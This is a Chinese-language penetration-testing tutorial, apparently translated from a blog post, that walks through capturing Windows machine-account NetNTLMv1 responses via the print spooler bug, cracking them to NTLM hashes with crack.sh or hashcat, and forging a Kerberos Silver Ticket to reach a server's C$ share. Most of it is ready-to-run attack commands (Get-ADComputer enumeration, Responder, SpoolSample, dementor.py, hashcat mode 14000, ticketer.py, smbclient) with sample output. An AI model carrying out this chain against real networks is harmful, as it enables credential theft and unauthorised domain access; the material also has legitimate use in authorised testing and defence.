这项技术曾被其他人提及,但我尚未看到任何完整的资料。下面我们将逐步介绍如何获取 NetNTLMv1 挑战/响应认证,破解这些认证为 NTLM 哈希,并使用该 NTLM 哈希来签署 Kerberos Silver Ticket。
这适用于“LAN Manager 身份验证级别”设置为 2 或以下的网络。这是较旧、较大型 Windows 部署中相当常见的情况。在 Windows 10 / Server 2016 或更新版本上应该不起作用。
通过 @tifkin_ (Lee Christensen) 的 SpoolSample 获取机器账户的 NetNTLMv1 响应
使用 @0x31337 (David Hulton) 的彩虹表将 NetNTLMv1 响应破解回 NTLM 哈希
使用新获得的 NTLM 哈希,通过 @agsolino (Albert Solino) 的 ticketer.py 生成 Silver Ticket
使用 PowerShell 获取 Windows 机器列表。服务器通常是优先目标,所以我们集中在这里:
Get-ADComputer -Filter {(OperatingSystem -like "*windows*server*") -and (OperatingSystem -notlike "2016") -and (Enabled -eq "True")} -Properties * | select Name | ft -HideTableHeaders > servers.txt
使用稍作修改的 @mysmartlogin (Vincent Le Toux) 的 SpoolerScanner,查看 Spooler 服务是否在监听
. .\Get-SpoolStatus.ps1
ForEach ($server in Get-Content servers.txt) {Get-SpoolStatus $server}
也可以在 Linux 上使用 rpcdump.py 并查找 MS-RPRN 协议
rpcdump.py DOMAIN/USER:[email protected] | grep MS-RPRN
./Responder.py -I eth0 --lm
SpoolSample.exe TARGET RESPONDERIP
或者如果你在 Linux 上,使用 3xocyte 的 dementor.py
python dementor.py -d domain -u username -p password RESPONDERIP TARGET
示例响应:
[SMB] NTLMv1 Client : 10.0.0.2
[SMB] NTLMv1 Username : DOMAIN\SERVER$
[SMB] NTLMv1 Hash : SERVER$::DOMAIN:F35A3FE17DCB31F9BE8A8004B3F310C150AFA36195554972:F35A3FE17DCB31F9BE8A8004B3F310C150AFA36195554972:1122334455667788
你可以使用一组彩虹表将 NTHASH 逆向为 NTLM,或者将其逆向为其 DES 组成组件并用 hashcat 破解。
一个 8x 1080 的机器可以在大约 6 天内暴力破解,所以考虑使用彩虹表。
对于彩虹表,有一个托管在 https://crack.sh/netntlm/ 的服务,可以免费从 NetNTLMv1 恢复 NTLM。这是由 Toorcon 的 David Hulton 提供的。我们正在制作一个本地副本的彩虹表和软件,无需 FPGA 即可进行查询。
对于 crack.sh,格式是 NTHASH:(response),所以示例中的 NTHASH:F35A3FE17DCB31F9BE8A8004B3F310C150AFA36195554972。
python3 ntlmv1.py --ntlmv1 hashcat::DUSTIN-5AA37877:76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595:1122334455667788
这将返回以下输出及说明:
['hashcat', '', 'DUSTIN-5AA37877', '76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D', '727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595', '1122334455667788']
Hostname: DUSTIN-5AA37877
Username: hashcat
Challenge: 1122334455667788
LM Response: 76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D
NT Response: 727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595
CT1: 727B4E35F947129E
CT2: A52B9CDEDAE86934
CT3: BB23EF89F50FC595
To Calculate final 4 characters of NTLM hash use:
./ct3_to_ntlm.bin BB23EF89F50FC595 1122334455667788
To crack with hashcat create a file with the following contents:
727B4E35F947129E:1122334455667788
A52B9CDEDAE86934:1122334455667788
To crack with hashcat:
./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset hashes.txt ?1?1?1?1?1?1?1?1
To Crack with crack.sh use the following token
NTHASH:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595
你需要找到以下信息:要访问的服务 SPN、域 SID、具有本地管理员访问权限的域用户账户 SID 和账户名称,以及如果基于组本地管理员,该用户所属的域组。
对于服务,最常见的是 cifs/,因为它映射回 HOST/ 服务
./ticketer.py -nthash 09e55a127f3d4e4957c77de30000502a -domain-sid S-1-5-21-7375663-6890924511-1272660413 -domain DOMAIN.COM -spn cifs/SERVER.DOMAIN.COM -user-id 123456 -groups 4321 username
export KRB5CCNAME=/root/Assessments/NTLMTest/USERNAME.ccache
smbclient -k //SERVER.DOMAIN.COM/c$ -d
分发 6TB 的彩虹表
修改 @0x31337 的 desrtop 使其无需 FPGA
识别更多远程触发机器账户身份验证的方法